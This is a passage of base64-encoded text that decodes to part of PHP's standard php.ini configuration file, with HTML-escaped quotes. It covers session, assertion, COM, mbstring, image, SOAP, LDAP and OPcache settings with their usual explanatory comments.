hZF9wcm9ncmVzcy5taW5fZnJlcSA9ICZxdW90OzEmcXVvdDsKCjsgT25seSB3cml0ZSBzZXNzaW9uIGRhdGEgd2hlbiBzZXNzaW9uIGRhdGEgaXMgY2hhbmdlZC4gRW5hYmxlZCBieSBkZWZhdWx0Lgo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24ubGF6eS13cml0ZQo7c2Vzc2lvbi5sYXp5X3dyaXRlID0gT24KCltBc3NlcnRpb25dCjsgU3dpdGNoIHdoZXRoZXIgdG8gY29tcGlsZSBhc3NlcnRpb25zIGF0IGFsbCAodG8gaGF2ZSBubyBvdmVyaGVhZCBhdCBydW4tdGltZSkKOyAtMTogRG8gbm90IGNvbXBpbGUgYXQgYWxsCjsgIDA6IEp1bXAgb3ZlciBhc3NlcnRpb24gYXQgcnVuLXRpbWUKOyAgMTogRXhlY3V0ZSBhc3NlcnRpb25zCjsgQ2hhbmdpbmcgZnJvbSBvciB0byBhIG5lZ2F0aXZlIHZhbHVlIGlzIG9ubHkgcG9zc2libGUgaW4gcGhwLmluaSEgKEZvciB0dXJuaW5nIGFzc2VydGlvbnMgb24gYW5kIG9mZiBhdCBydW4tdGltZSwgc2VlIGFzc2VydC5hY3RpdmUsIHdoZW4gemVuZC5hc3NlcnRpb25zID0gMSkKOyBEZWZhdWx0IFZhbHVlOiAxCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDEKOyBQcm9kdWN0aW9uIFZhbHVlOiAtMQo7IGh0dHA6Ly9waHAubmV0L3plbmQuYXNzZXJ0aW9ucwp6ZW5kLmFzc2VydGlvbnMgPSAxCgo7IEFzc2VydChleHByKTsgYWN0aXZlIGJ5IGRlZmF1bHQuCjsgaHR0cDovL3BocC5uZXQvYXNzZXJ0LmFjdGl2ZQo7YXNzZXJ0LmFjdGl2ZSA9IE9uCgo7IFRocm93IGFuIEFzc2VydGlvbkVycm9yIG9uIGZhaWxlZCBhc3NlcnRpb25zCjsgaHR0cDovL3BocC5uZXQvYXNzZXJ0LmV4Y2VwdGlvbgo7YXNzZXJ0LmV4Y2VwdGlvbiA9IE9uCgo7IElzc3VlIGEgUEhQIHdhcm5pbmcgZm9yIGVhY2ggZmFpbGVkIGFzc2VydGlvbi4gKE92ZXJyaWRkZW4gYnkgYXNzZXJ0LmV4Y2VwdGlvbiBpZiBhY3RpdmUpCjsgaHR0cDovL3BocC5uZXQvYXNzZXJ0Lndhcm5pbmcKO2Fzc2VydC53YXJuaW5nID0gT24KCjsgRG9uJmFwb3M7dCBiYWlsIG91dCBieSBkZWZhdWx0Lgo7IGh0dHA6Ly9waHAubmV0L2Fzc2VydC5iYWlsCjthc3NlcnQuYmFpbCA9IE9mZgoKOyBVc2VyLWZ1bmN0aW9uIHRvIGJlIGNhbGxlZCBpZiBhbiBhc3NlcnRpb24gZmFpbHMuCjsgaHR0cDovL3BocC5uZXQvYXNzZXJ0LmNhbGxiYWNrCjthc3NlcnQuY2FsbGJhY2sgPSAwCgo7IEV2YWwgdGhlIGV4cHJlc3Npb24gd2l0aCBjdXJyZW50IGVycm9yX3JlcG9ydGluZygpLiAgU2V0IHRvIHRydWUgaWYgeW91IHdhbnQKOyBlcnJvcl9yZXBvcnRpbmcoMCkgYXJvdW5kIHRoZSBldmFsKCkuCjsgaHR0cDovL3BocC5uZXQvYXNzZXJ0LnF1aWV0LWV2YWwKO2Fzc2VydC5xdWlldF9ldmFsID0gMAoKW0NPTV0KOyBwYXRoIHRvIGEgZmlsZSBjb250YWluaW5nIEdVSURzLCBJSURzIG9yIGZpbGVuYW1lcyBvZiBmaWxlcyB3aXRoIFR5cGVMaWJzCjsgaHR0cDovL3BocC5uZXQvY29tLnR5cGVsaWItZmlsZQo7Y29tLnR5cGVsaWJfZmlsZSA9Cgo7IGFsbG93IERpc3RyaWJ1dGVkLUNPTSBjYWxscwo7IGh0dHA6Ly9waHAubmV0L2NvbS5hbGxvdy1kY29tCjtjb20uYWxsb3dfZGNvbSA9IHRydWUKCjsgYXV0b3JlZ2lzdGVyIGNvbnN0YW50cyBvZiBhIGNvbXBvbmVudCZhcG9zO3MgdHlwbGliIG9uIGNvbV9sb2FkKCkKOyBodHRwOi8vcGhwLm5ldC9jb20uYXV0b3JlZ2lzdGVyLXR5cGVsaWIKO2NvbS5hdXRvcmVnaXN0ZXJfdHlwZWxpYiA9IHRydWUKCjsgcmVnaXN0ZXIgY29uc3RhbnRzIGNhc2VzZW5zaXRpdmUKOyBodHRwOi8vcGhwLm5ldC9jb20uYXV0b3JlZ2lzdGVyLWNhc2VzZW5zaXRpdmUKO2NvbS5hdXRvcmVnaXN0ZXJfY2FzZXNlbnNpdGl2ZSA9IGZhbHNlCgo7IHNob3cgd2FybmluZ3Mgb24gZHVwbGljYXRlIGNvbnN0YW50IHJlZ2lzdHJhdGlvbnMKOyBodHRwOi8vcGhwLm5ldC9jb20uYXV0b3JlZ2lzdGVyLXZlcmJvc2UKO2NvbS5hdXRvcmVnaXN0ZXJfdmVyYm9zZSA9IHRydWUKCjsgVGhlIGRlZmF1bHQgY2hhcmFjdGVyIHNldCBjb2RlLXBhZ2UgdG8gdXNlIHdoZW4gcGFzc2luZyBzdHJpbmdzIHRvIGFuZCBmcm9tIENPTSBvYmplY3RzLgo7IERlZmF1bHQ6IHN5c3RlbSBBTlNJIGNvZGUgcGFnZQo7Y29tLmNvZGVfcGFnZT0KClttYnN0cmluZ10KOyBsYW5ndWFnZSBmb3IgaW50ZXJuYWwgY2hhcmFjdGVyIHJlcHJlc2VudGF0aW9uLgo7IFRoaXMgYWZmZWN0cyBtYl9zZW5kX21haWwoKSBhbmQgbWJzdHJpbmcuZGV0ZWN0X29yZGVyLgo7IGh0dHA6Ly9waHAubmV0L21ic3RyaW5nLmxhbmd1YWdlCjttYnN0cmluZy5sYW5ndWFnZSA9IEphcGFuZXNlCgo7IFVzZSBvZiB0aGlzIElOSSBlbnRyeSBpcyBkZXByZWNhdGVkLCB1c2UgZ2xvYmFsIGludGVybmFsX2VuY29kaW5nIGluc3RlYWQuCjsgaW50ZXJuYWwvc2NyaXB0IGVuY29kaW5nLgo7IFNvbWUgZW5jb2RpbmcgY2Fubm90IHdvcmsgYXMgaW50ZXJuYWwgZW5jb2RpbmcuIChlLmcuIFNKSVMsIEJJRzUsIElTTy0yMDIyLSopCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBvciBpbnRlcm5hbF9lbmNvZGluZyBvciBpY29udi5pbnRlcm5hbF9lbmNvZGluZyBpcyB1c2VkLgo7IFRoZSBwcmVjZWRlbmNlIGlzOiBkZWZhdWx0X2NoYXJzZXQgJmx0OyBpbnRlcm5hbF9lbmNvZGluZyAmbHQ7IGljb252LmludGVybmFsX2VuY29kaW5nCjttYnN0cmluZy5pbnRlcm5hbF9lbmNvZGluZyA9Cgo7IFVzZSBvZiB0aGlzIElOSSBlbnRyeSBpcyBkZXByZWNhdGVkLCB1c2UgZ2xvYmFsIGlucHV0X2VuY29kaW5nIGluc3RlYWQuCjsgaHR0cCBpbnB1dCBlbmNvZGluZy4KOyBtYnN0cmluZy5lbmNvZGluZ190cmFuc2xhdGlvbiA9IE9uIGlzIG5lZWRlZCB0byB1c2UgdGhpcyBzZXR0aW5nLgo7IElmIGVtcHR5LCBkZWZhdWx0X2NoYXJzZXQgb3IgaW5wdXRfZW5jb2Rpbmcgb3IgbWJzdHJpbmcuaW5wdXQgaXMgdXNlZC4KOyBUaGUgcHJlY2VkZW5jZSBpczogZGVmYXVsdF9jaGFyc2V0ICZsdDsgaW5wdXRfZW5jb2RpbmcgJmx0OyBtYnN0aW5nLmh0dHBfaW5wdXQKOyBodHRwOi8vcGhwLm5ldC9tYnN0cmluZy5odHRwLWlucHV0CjttYnN0cmluZy5odHRwX2lucHV0ID0KCjsgVXNlIG9mIHRoaXMgSU5JIGVudHJ5IGlzIGRlcHJlY2F0ZWQsIHVzZSBnbG9iYWwgb3V0cHV0X2VuY29kaW5nIGluc3RlYWQuCjsgaHR0cCBvdXRwdXQgZW5jb2RpbmcuCjsgbWJfb3V0cHV0X2hhbmRsZXIgbXVzdCBiZSByZWdpc3RlcmVkIGFzIG91dHB1dCBidWZmZXIgdG8gZnVuY3Rpb24uCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBvciBvdXRwdXRfZW5jb2Rpbmcgb3IgbWJzdHJpbmcuaHR0cF9vdXRwdXQgaXMgdXNlZC4KOyBUaGUgcHJlY2VkZW5jZSBpczogZGVmYXVsdF9jaGFyc2V0ICZsdDsgb3V0cHV0X2VuY29kaW5nICZsdDsgbWJzdHJpbmcuaHR0cF9vdXRwdXQKOyBUbyB1c2UgYW4gb3V0cHV0IGVuY29kaW5nIGNvbnZlcnNpb24sIG1ic3RyaW5nJmFwb3M7cyBvdXRwdXQgaGFuZGxlciBtdXN0IGJlIHNldAo7IG90aGVyd2lzZSBvdXRwdXQgZW5jb2RpbmcgY29udmVyc2lvbiBjYW5ub3QgYmUgcGVyZm9ybWVkLgo7IGh0dHA6Ly9waHAubmV0L21ic3RyaW5nLmh0dHAtb3V0cHV0CjttYnN0cmluZy5odHRwX291dHB1dCA9Cgo7IGVuYWJsZSBhdXRvbWF0aWMgZW5jb2RpbmcgdHJhbnNsYXRpb24gYWNjb3JkaW5nIHRvCjsgbWJzdHJpbmcuaW50ZXJuYWxfZW5jb2Rpbmcgc2V0dGluZy4gSW5wdXQgY2hhcnMgYXJlCjsgY29udmVydGVkIHRvIGludGVybmFsIGVuY29kaW5nIGJ5IHNldHRpbmcgdGhpcyB0byBPbi4KOyBOb3RlOiBEbyBfbm90XyB1c2UgYXV0b21hdGljIGVuY29kaW5nIHRyYW5zbGF0aW9uIGZvcgo7ICAgICAgIHBvcnRhYmxlIGxpYnMvYXBwbGljYXRpb25zLgo7IGh0dHA6Ly9waHAubmV0L21ic3RyaW5nLmVuY29kaW5nLXRyYW5zbGF0aW9uCjttYnN0cmluZy5lbmNvZGluZ190cmFuc2xhdGlvbiA9IE9mZgoKOyBhdXRvbWF0aWMgZW5jb2RpbmcgZGV0ZWN0aW9uIG9yZGVyLgo7ICZxdW90O2F1dG8mcXVvdDsgZGV0ZWN0IG9yZGVyIGlzIGNoYW5nZWQgYWNjb3JkaW5nIHRvIG1ic3RyaW5nLmxhbmd1YWdlCjsgaHR0cDovL3BocC5uZXQvbWJzdHJpbmcuZGV0ZWN0LW9yZGVyCjttYnN0cmluZy5kZXRlY3Rfb3JkZXIgPSBhdXRvCgo7IHN1YnN0aXR1dGVfY2hhcmFjdGVyIHVzZWQgd2hlbiBjaGFyYWN0ZXIgY2Fubm90IGJlIGNvbnZlcnRlZAo7IG9uZSBmcm9tIGFub3RoZXIKOyBodHRwOi8vcGhwLm5ldC9tYnN0cmluZy5zdWJzdGl0dXRlLWNoYXJhY3Rlcgo7bWJzdHJpbmcuc3Vic3RpdHV0ZV9jaGFyYWN0ZXIgPSBub25lCgo7IG92ZXJsb2FkKHJlcGxhY2UpIHNpbmdsZSBieXRlIGZ1bmN0aW9ucyBieSBtYnN0cmluZyBmdW5jdGlvbnMuCjsgbWFpbCgpLCBlcmVnKCksIGV0YyBhcmUgb3ZlcmxvYWRlZCBieSBtYl9zZW5kX21haWwoKSwgbWJfZXJlZygpLAo7IGV0Yy4gUG9zc2libGUgdmFsdWVzIGFyZSAwLDEsMiw0IG9yIGNvbWJpbmF0aW9uIG9mIHRoZW0uCjsgRm9yIGV4YW1wbGUsIDcgZm9yIG92ZXJsb2FkIGV2ZXJ5dGhpbmcuCjsgMDogTm8gb3ZlcmxvYWQKOyAxOiBPdmVybG9hZCBtYWlsKCkgZnVuY3Rpb24KOyAyOiBPdmVybG9hZCBzdHIqKCkgZnVuY3Rpb25zCjsgNDogT3ZlcmxvYWQgZXJlZyooKSBmdW5jdGlvbnMKOyBodHRwOi8vcGhwLm5ldC9tYnN0cmluZy5mdW5jLW92ZXJsb2FkCjttYnN0cmluZy5mdW5jX292ZXJsb2FkID0gMAoKOyBlbmFibGUgc3RyaWN0IGVuY29kaW5nIGRldGVjdGlvbi4KOyBEZWZhdWx0OiBPZmYKO21ic3RyaW5nLnN0cmljdF9kZXRlY3Rpb24gPSBPbgoKOyBUaGlzIGRpcmVjdGl2ZSBzcGVjaWZpZXMgdGhlIHJlZ2V4IHBhdHRlcm4gb2YgY29udGVudCB0eXBlcyBmb3Igd2hpY2ggbWJfb3V0cHV0X2hhbmRsZXIoKQo7IGlzIGFjdGl2YXRlZC4KOyBEZWZhdWx0OiBtYnN0cmluZy5odHRwX291dHB1dF9jb252X21pbWV0eXBlPV4odGV4dC98YXBwbGljYXRpb24veGh0bWxcK3htbCkKO21ic3RyaW5nLmh0dHBfb3V0cHV0X2NvbnZfbWltZXR5cGU9Cgo7IFRoaXMgZGlyZWN0aXZlIHNwZWNpZmllcyBtYXhpbXVtIHN0YWNrIGRlcHRoIGZvciBtYnN0cmluZyByZWd1bGFyIGV4cHJlc3Npb25zLiBJdCBpcyBzaW1pbGFyCjsgdG8gdGhlIHBjcmUucmVjdXJzaW9uX2xpbWl0IGZvciBQQ1JFLiAKOyBEZWZhdWx0OiAxMDAwMDAKO21ic3RyaW5nLnJlZ2V4X3N0YWNrX2xpbWl0PTEwMDAwMAoKW2dkXQo7IFRlbGwgdGhlIGpwZWcgZGVjb2RlIHRvIGlnbm9yZSB3YXJuaW5ncyBhbmQgdHJ5IHRvIGNyZWF0ZQo7IGEgZ2QgaW1hZ2UuIFRoZSB3YXJuaW5nIHdpbGwgdGhlbiBiZSBkaXNwbGF5ZWQgYXMgbm90aWNlcwo7IGRpc2FibGVkIGJ5IGRlZmF1bHQKOyBodHRwOi8vcGhwLm5ldC9nZC5qcGVnLWlnbm9yZS13YXJuaW5nCjtnZC5qcGVnX2lnbm9yZV93YXJuaW5nID0gMQoKW2V4aWZdCjsgRXhpZiBVTklDT0RFIHVzZXIgY29tbWVudHMgYXJlIGhhbmRsZWQgYXMgVUNTLTJCRS9VQ1MtMkxFIGFuZCBKSVMgYXMgSklTLgo7IFdpdGggbWJzdHJpbmcgc3VwcG9ydCB0aGlzIHdpbGwgYXV0b21hdGljYWxseSBiZSBjb252ZXJ0ZWQgaW50byB0aGUgZW5jb2RpbmcKOyBnaXZlbiBieSBjb3JyZXNwb25kaW5nIGVuY29kZSBzZXR0aW5nLiBXaGVuIGVtcHR5IG1ic3RyaW5nLmludGVybmFsX2VuY29kaW5nCjsgaXMgdXNlZC4gRm9yIHRoZSBkZWNvZGUgc2V0dGluZ3MgeW91IGNhbiBkaXN0aW5ndWlzaCBiZXR3ZWVuIG1vdG9yb2xhIGFuZAo7IGludGVsIGJ5dGUgb3JkZXIuIEEgZGVjb2RlIHNldHRpbmcgY2Fubm90IGJlIGVtcHR5Lgo7IGh0dHA6Ly9waHAubmV0L2V4aWYuZW5jb2RlLXVuaWNvZGUKO2V4aWYuZW5jb2RlX3VuaWNvZGUgPSBJU08tODg1OS0xNQoKOyBodHRwOi8vcGhwLm5ldC9leGlmLmRlY29kZS11bmljb2RlLW1vdG9yb2xhCjtleGlmLmRlY29kZV91bmljb2RlX21vdG9yb2xhID0gVUNTLTJCRQoKOyBodHRwOi8vcGhwLm5ldC9leGlmLmRlY29kZS11bmljb2RlLWludGVsCjtleGlmLmRlY29kZV91bmljb2RlX2ludGVsICAgID0gVUNTLTJMRQoKOyBodHRwOi8vcGhwLm5ldC9leGlmLmVuY29kZS1qaXMKO2V4aWYuZW5jb2RlX2ppcyA9Cgo7IGh0dHA6Ly9waHAubmV0L2V4aWYuZGVjb2RlLWppcy1tb3Rvcm9sYQo7ZXhpZi5kZWNvZGVfamlzX21vdG9yb2xhID0gSklTCgo7IGh0dHA6Ly9waHAubmV0L2V4aWYuZGVjb2RlLWppcy1pbnRlbAo7ZXhpZi5kZWNvZGVfamlzX2ludGVsICAgID0gSklTCgpbVGlkeV0KOyBUaGUgcGF0aCB0byBhIGRlZmF1bHQgdGlkeSBjb25maWd1cmF0aW9uIGZpbGUgdG8gdXNlIHdoZW4gdXNpbmcgdGlkeQo7IGh0dHA6Ly9waHAubmV0L3RpZHkuZGVmYXVsdC1jb25maWcKO3RpZHkuZGVmYXVsdF9jb25maWcgPSAvdXNyL2xvY2FsL2xpYi9waHAvZGVmYXVsdC50Y2ZnCgo7IFNob3VsZCB0aWR5IGNsZWFuIGFuZCByZXBhaXIgb3V0cHV0IGF1dG9tYXRpY2FsbHk/CjsgV0FSTklORzogRG8gbm90IHVzZSB0aGlzIG9wdGlvbiBpZiB5b3UgYXJlIGdlbmVyYXRpbmcgbm9uLWh0bWwgY29udGVudAo7IHN1Y2ggYXMgZHluYW1pYyBpbWFnZXMKOyBodHRwOi8vcGhwLm5ldC90aWR5LmNsZWFuLW91dHB1dAp0aWR5LmNsZWFuX291dHB1dCA9IE9mZgoKW3NvYXBdCjsgRW5hYmxlcyBvciBkaXNhYmxlcyBXU0RMIGNhY2hpbmcgZmVhdHVyZS4KOyBodHRwOi8vcGhwLm5ldC9zb2FwLndzZGwtY2FjaGUtZW5hYmxlZApzb2FwLndzZGxfY2FjaGVfZW5hYmxlZD0xCgo7IFNldHMgdGhlIGRpcmVjdG9yeSBuYW1lIHdoZXJlIFNPQVAgZXh0ZW5zaW9uIHdpbGwgcHV0IGNhY2hlIGZpbGVzLgo7IGh0dHA6Ly9waHAubmV0L3NvYXAud3NkbC1jYWNoZS1kaXIKc29hcC53c2RsX2NhY2hlX2Rpcj0mcXVvdDsvdG1wJnF1b3Q7Cgo7ICh0aW1lIHRvIGxpdmUpIFNldHMgdGhlIG51bWJlciBvZiBzZWNvbmQgd2hpbGUgY2FjaGVkIGZpbGUgd2lsbCBiZSB1c2VkCjsgaW5zdGVhZCBvZiBvcmlnaW5hbCBvbmUuCjsgaHR0cDovL3BocC5uZXQvc29hcC53c2RsLWNhY2hlLXR0bApzb2FwLndzZGxfY2FjaGVfdHRsPTg2NDAwCgo7IFNldHMgdGhlIHNpemUgb2YgdGhlIGNhY2hlIGxpbWl0LiAoTWF4LiBudW1iZXIgb2YgV1NETCBmaWxlcyB0byBjYWNoZSkKc29hcC53c2RsX2NhY2hlX2xpbWl0ID0gNQoKW3N5c3ZzaG1dCjsgQSBkZWZhdWx0IHNpemUgb2YgdGhlIHNoYXJlZCBtZW1vcnkgc2VnbWVudAo7c3lzdnNobS5pbml0X21lbSA9IDEwMDAwCgpbbGRhcF0KOyBTZXRzIHRoZSBtYXhpbXVtIG51bWJlciBvZiBvcGVuIGxpbmtzIG9yIC0xIGZvciB1bmxpbWl0ZWQuCmxkYXAubWF4X2xpbmtzID0gLTEKCltkYmFdCjtkYmEuZGVmYXVsdF9oYW5kbGVyPQoKW29wY2FjaGVdCjsgRGV0ZXJtaW5lcyBpZiBaZW5kIE9QQ2FjaGUgaXMgZW5hYmxlZAo7b3BjYWNoZS5lbmFibGU9MQoKOyBEZXRlcm1pbmVzIGlmIFplbmQgT1BDYWNoZSBpcyBlbmFibGVkIGZvciB0aGUgQ0xJIHZlcnNpb24gb2YgUEhQCjtvcGNhY2hlLmVuYWJsZV9jbGk9MAoKOyBUaGUgT1BjYWNoZSBzaGFyZWQgbWVtb3J5IHN0b3JhZ2Ugc2l6ZS4KO29wY2FjaGUubWVtb3J5X2NvbnN1bXB0aW9uPTEyOAoKOyBUaGUgYW1vdW50IG9mIG1lbW9yeSBmb3IgaW50ZXJuZWQgc3RyaW5ncyBpbiBNYnl0ZXMuCjtvcGNhY2hlLmludGVybmVkX3N0cmluZ3NfYnVmZmVyPTgKCjsgVGhlIG1heGltdW0gbnVtYmVyIG9mIGtleXMgKHNjcmlwdHMpIGluIHRoZSBPUGNhY2hlIGhhc2ggdGFibGUuCjsgT25seSBudW1iZXJzIGJldHdlZW4gMjAwIGFuZCAxMDAwMDAwIGFyZSBhbGxvd2VkLgo7b3BjYWNoZS5tYXhfYWNjZWxlcmF0ZWRfZmlsZXM9MTAwMDAKCjsgVGhlIG1heGltdW0gcGVyY2VudGFnZSBvZiAmcXVvdDt3YXN0ZWQmcXVvdDsgbWVtb3J5IHVudGlsIGEgcmVzdGFydCBpcyBzY2hlZHVsZWQuCjtvcGNhY2hlLm1heF93YXN0ZWRfcGVyY2VudGFnZT01Cgo7IFdoZW4gdGhpcyBkaXJlY3RpdmUgaXMgZW5hYmxlZCwgdGhlIE9QY2FjaGUgYXBwZW5kcyB0aGUgY3VycmVudCB3b3JraW5nCjsgZGlyZWN0b3J5IHRvIHRoZSBzY3JpcHQga2V5LCB0aHVzIGVsaW1pbmF0aW5nIHBvc3NpYmxlIGNvbGxpc2lvbnMgYmV0d2Vlbgo7IGZpbGVzIHdpdGggdGhlIHNhbWUgbmFtZSAoYmFzZW5hbWUpLiBEaXNhYmxpbmcgdGhlIGRpcmVjdGl2ZSBpbXByb3Zlcwo7IHBlcmZvcm1hbmNlLCBidXQgbWF5IGJyZWFrIGV4aXN0aW5nIGFwcGxpY2F0aW9ucy4KO29wY2FjaGUudXNlX2N3ZD0xCgo7IFdoZW4gZGlzYWJsZWQsIHlvdSBtdXN0IHJlc2V0IHRoZSBPUGNhY2hlIG1hbnVhbGx5IG9yIHJlc3RhcnQgdGhlCjsgd2Vic2VydmVyIGZvciBjaGFuZ2VzIHRvIHRoZSBmaWxlc3lzdGVtIHRvIHRha2UgZWZmZWN0Lgo7b3BjYWNoZS52YWxpZGF0ZV90aW1lc3RhbXBzPTEKCjsgSG93IG9mdGVuIChpbiBzZWNvbmRzKSB0byBjaGVjayBmaWxlIHRpbWVzdGFtcHMgZm9yIGNoYW5nZXMgdG8gdGhlIHNoYXJlZAo7IG1lbW9yeSBzdG9yYWdlIGFsbG9jYXRpb24uICgmcXVvdDsxJnF1b3Q7IG1lYW5zIHZhbGlkYXRlIG9uY2UgcGVyIHNlY29uZCwgYnV0IG9ubHkKOyBvbmNlIHBlciByZXF1ZXN0LiAmcXVvdDswJnF1b3Q7IG1lYW5zIGFsd2F5cyB2YWxpZGF0ZSkKO29wY2FjaGUucmV2YWxpZGF0ZV9mcmVxPTIKCjsgRW5hYmxlcyBvciBkaXNhYmxlcyBmaWxlIHNlYXJjaCBpbiBpbmNsdWRlX3BhdGggb3B0aW1pemF0aW9uCjtvcGNhY2hlLnJldmFsaWRhdGVfcGF0aD0wCgo7IElmIGRpc2FibGVkLCBhbGwgUEhQRG9jIGNvbW1lbnRzIGFyZSBkcm9wcGVkIGZyb20gdGhlIGNvZGUgdG8gcmVkdWNlIHRoZQo7IHNpemUgb2YgdGhlIG9wdGltaXplZCBjb2RlLgo7b3BjYWNoZS5zYXZlX2NvbW1lbnRzPTEKCjsgQWxsb3cgZmlsZSBleGlzdGVuY2Ugb3ZlcnJpZGUgKGZpbGVfZXhpc3RzLCBldGMuKSBwZXJmb3JtYW5jZSBmZWF0dXJlLgo7b3BjYWNoZS5lbmFibGVfZmlsZV9vdmVycmlkZT0wCgo7IEEgYml0bWFzaywgd2hlcmUgZWFjaCBiaXQgZW5hYmxlcyBvciBkaXNhYmxlcyB0aGUgYXBwcm9wcmlhdGUgT1BjYWNoZQo7IHBhc3Nlcwo7b3BjYWNoZS5vcHRpbWl6YXRpb25fbGV2ZWw9MHg3RkZGQkZGRgoKO29wY2FjaGUuZHVwc19maXg9MAoKOyBUaGUgbG9jYXRpb24gb2YgdGhlIE9QY2FjaGUgYmxhY2tsaXN0IGZpbGUgKHdpbGRjYXJkcyBhbGxvd2VkKS4KOyBFYWNoIE9QY2FjaGUgYmxhY2tsaXN0IGZpbGUgaXMgYSB0ZXh0IGZpbGUgdGhhdCBob2xkcyB0aGUgbmFtZXMgb2YgZmlsZXMKOyB0aGF0IHNob3VsZCBub3QgYmUgYWNjZWxlcmF0ZWQuIFRoZSBmaWxlIGZvcm1hdCBpcyB0byBhZGQgZWFjaCBmaWxlbmFtZQo7IHRvIGEgbmV3IGxpbmUuIFRoZSBmaWxlbmFtZSBtYXkgYmUgYSBmdWxsIHBhdGggb3IganVzdCBhIGZpbGUgcHJlZml4CjsgKGkuZS4sIC92YXIvd3d3L3ggIGJsYWNrbGlzdHMgYWxsIHRoZSBmaWxlcyBhbmQgZGlyZWN0b3JpZXMgaW4gL3Zhci93d3cKOyB0aGF0IHN0YXJ0IHdpdGggJmFwb3M7eCZhcG9zOykuIExpbmUgc3RhcnRpbmcgd2l0aCBhIDsgYXJlIGlnbm9yZWQgKGNvbW1lbnRzKS4KO29wY2FjaGUuYmxhY2tsaXN0X2ZpbGVuYW1lPQoKOyBBbGxvd3MgZXhjbHVzaW9uIG9mIGxhcmdlIGZpbGVzIGZyb20gYmVpbmcgY2FjaGVkLiBCeSBkZWZhdWx0IGFsbCBmaWxlcwo7IGFyZSBjYWNoZWQuCjtvcGNhY2hlLm1heF9maWxlX3NpemU9MAoKOyBDaGVjayB0aGUgY2FjaGUgY2hlY2tzdW0gZWFjaCBOIHJlcXVlc3RzLgo7IFRoZSBkZWZhdWx0IHZhbHVlIG9mICZxdW90OzAmcXVvdDsgbWVhbnMgdGhhdCB0aGUgY2hlY2tzIGFyZSBkaXNhYmxlZC4KO29wY2FjaGUuY29uc2lzdGVuY3lfY2hlY2tzPTAKCjsgSG93IGxvbmcgdG8gd2FpdCAoaW4gc2Vjb25kcykgZm9yIGEgc2NoZWR1bGVkIHJlc3RhcnQgdG8gYmVnaW4gaWYgdGhlIGNhY2hlCjsgaXMgbm90IGJlaW5nIGFjY2Vzc2VkLgo7b3BjYWNoZS5mb3JjZV9yZXN0YXJ0X3RpbWVvdXQ9MTgwCgo7IE9QY2FjaGUgZXJyb3JfbG9nIGZpbGUgbmFtZS4gRW1wdHkgc3RyaW5nIGFzc3VtZXMgJnF1b3Q7c3RkZXJyJnF1b3Q7Lgo7b3BjYWNoZS5lcnJvcl9sb2c9Cgo7IEFsbCBPUGNhY2hlIGVycm9ycyBnbyB0byB0aGUgV2ViIHNlcnZlciBsb2cuCjsgQnkgZGVmYXVsdCwgb25seSBmYXRhbCBlcnJvcnMgKGxldmVsIDApIG9yIGVycm9ycyAobGV2ZWwgMSkgYXJlIGxvZ2dlZC4KOyBZb3UgY2FuIGFsc28gZW5hYmxlIHdhcm5pbmdzIChsZXZlbCAyKSwgaW5mbyBtZXNzYWdlcyAobGV2ZWwgMykgb3IKOyBkZWJ1ZyBtZXNzYWdlcyAobGV2ZWwgNCkuCjtvcGNhY2hlLmxvZ192ZXJib3NpdHlfbGV2ZWw9MQoKOyBQcmVmZXJyZWQgU2hhcmVkIE1lbW9yeSBiYWNrLWVuZC4gTGVhdmUgZW1wdHkgYW5kIGxldCB0aGUgc3lzdGVtIGRlY2lkZS4KO29wY2FjaGUucHJlZmVycmVkX21lbW9yeV9tb2RlbD0KCjsgUHJvdGVjdCB0aGUgc2hhcmVkIG1lbW9yeSBmcm9tIHVuZXhwZWN0ZWQgd3JpdGluZyBkdXJpbmcgc2NyaXB0IGV4ZWN1dGlvbi4KOyBVc2VmdWwgZm9yIGludGVybmFsIGRlYnVnZ2luZyBvbmx5Lgo7b3BjYWNoZS5wcm90ZWN0X21lbW9yeT0wCgo7IEFsbG93cyBjYWxsaW5nIE9QY2FjaGUgQVBJIGZ1bmN0aW9ucyBvbmx5IGZyb20gUEhQIHNjcmlwdHMgd2hpY2ggcGF0aCBpcwo7IHN0YXJ0ZWQgZnJvbSBzcGVjaWZpZWQgc3RyaW5nLiBUaGUgZGVmYXVsdCAmcXVvdDsmcXVvdDsgbWVhbnMgbm8gcmVzdHJpY3Rpb24KO29wY2FjaGUucmVzdHJpY3RfYXBpPQoKOyBNYXBwaW5nIGJhc2Ugb2Ygc2hhcmVkIG1lbW9yeSBzZWdtZW50cyAoZm9yIFdpbmRvd3Mgb25seSkuIEFsbCB0aGUgUEhQCjsgcHJvY2Vzc2VzIGhhdmUgdG8gbWFwIHNoYXJlZCBtZW1vcnkgaW50byB0aGUgc2FtZSBhZGRyZXNzIHNwYWNlLiBUaGlzCjsgZGlyZWN0aXZlIGFsbG93cyB0byBtYW51YWxseSBmaXggdGhlICZxdW90O1VuYWJsZSB0byByZWF0dGFjaCB0byBiYXNlIGFkZHJlc3MmcXVvdDsKOyBlcnJvcnMuCjtvcGNhY2hlLm1tYXBfYmFzZT0KCjsgRW5hYmxlcyBhbmQgc2V0cyB0aGUgc2Vjb25kIGxldmVsIGNhY2hlIGRpcmVjdG9yeS4KOyBJdCBzaG91bGQgaW1wcm92ZSBwZXJmb3JtYW5jZSB3aGVuIFNITSBtZW1vcnkgaXMgZnVsbCwgYXQgc2VydmVyIHJlc3RhcnQgb3IKOyBTSE0gcmVzZXQuIFRoZSBkZWZhdWx0ICZxdW90OyZxdW90OyBkaXNhYmxlcyBmaWxlIGJhc2VkIGNhY2hpbmcuCjtvcGNhY2hlLmZpbGVfY2FjaGU9Cgo7IEVuYWJsZXMgb3IgZGlzYWJsZXMgb3Bjb2RlIGNhY2hpbmcgaW4gc2hhcmVkIG1lbW9yeS4KO29wY2FjaGUuZmlsZV9jYWNoZV9vbmx5PTAKCjsgRW5hYmxlcyBvciBkaXNhYmxlcyBjaGVja3N1bSB2YWxpZGF0aW9uIHdoZW4gc2NyaXB0IGxvYWRlZCBmcm9tIGZpbGUgY2FjaGUuCjtvcGNhY2hlLmZpbGVfY2FjaGVfY29uc2lzdGVuY3lfY2hlY2tzPTEKCjsgSW1wbGllcyBvcGNhY2hlLmZpbGVfY2FjaGVfb25seT0xIGZvciBhIGNlcnRhaW4gcHJvY2VzcyB0aGF0IGZhaWxlZCB0bwo7IHJlYXR0YWNoIHRvIHRoZSBzaGFyZWQgbWVtb3J5IChmb3IgV2luZG93cyBvbmx5KS4gRXhwbGljaXRseSBlbmFibGVkIGZpbGUK